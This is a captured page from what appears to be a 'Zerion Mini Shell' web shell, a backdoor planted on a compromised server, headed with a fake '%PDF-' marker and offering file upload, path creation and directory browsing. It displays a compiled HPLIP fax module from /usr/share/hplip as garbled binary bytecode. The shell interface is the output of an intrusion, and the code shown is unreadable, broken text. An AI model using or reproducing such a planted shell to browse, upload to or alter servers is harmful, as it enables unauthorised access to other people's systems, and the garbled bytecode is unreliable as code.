%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/hplip/fax/__pycache__/
Upload File :
Create Path :
Current File : //usr/share/hplip/fax/__pycache__/faxdevice.cpython-312.pyc

�

=	fC
��`�ddl�ddlmZddlmZmZddlmZddlm	Z	ddl
mZddded	fd
�Z
y)�)�*)�cups)�device�codes�)�
SOAPFaxDevice)�PMLFaxDevice)�MarvellFaxDeviceNFc�n�|tk(r�|�e|�ctj�}|D];}|jj	�|j	�k(s�/|j
}nt
t��|�tj|�}|d}tjd|z�|ttfvrt|||||�S|tk(rt!|||||�S|t"k(rddlm}||||||�S|t(k(rt+|||||�S|t,k(rddlm}	|	|||||�St
t2��)Nzfax-typezfax-type=%dr)�LEDMSOAPFaxDevice)�
LEDMFaxDevice)�
FAX_TYPE_NONEr�getPrinters�name�lower�
device_uri�Error�ERROR_DEVICE_NOT_FOUNDr�queryModelByURI�log�debug�FAX_TYPE_BLACK_SEND_EARLY_OPEN�FAX_TYPE_BLACK_SEND_LATE_OPENr	�
FAX_TYPE_SOAPr�FAX_TYPE_LEDMSOAP�ledmsoapfaxr�FAX_TYPE_MARVELLr
�
FAX_TYPE_LEDM�ledmfaxr
�'ERROR_DEVICE_DOES_NOT_SUPPORT_OPERATION)
r�printer_name�callback�fax_type�disable_dbus�printers�p�mqrr
s
          �!/usr/share/hplip/fax/faxdevice.py�	FaxDevicer)s=��
�=� ���,�":��'�'�)�H��
4���6�6�<�<�>�\�%7�%7�%9�9�!"���J��
4�
�2�3�3��!��'�'�
�3�B��*�~�H��I�I�m�h�&�'��2�4Q�R�R��J��h��,�W�W�	�]�	"��Z��x��<�X�X�	�&�	&�2� ��\�8�X�|�\�\�	�%�	%��
�L�(�H�l�[�[�	�]�	"�*��Z��x��<�X�X��;�<�<�)�base.g�prntr�baserr�soapfaxr�pmlfaxr	�
marvellfaxr
rr)�r*r(�<module>r2s,��.���"� �(��D��$� �)=r*

Zerion Mini Shell 1.0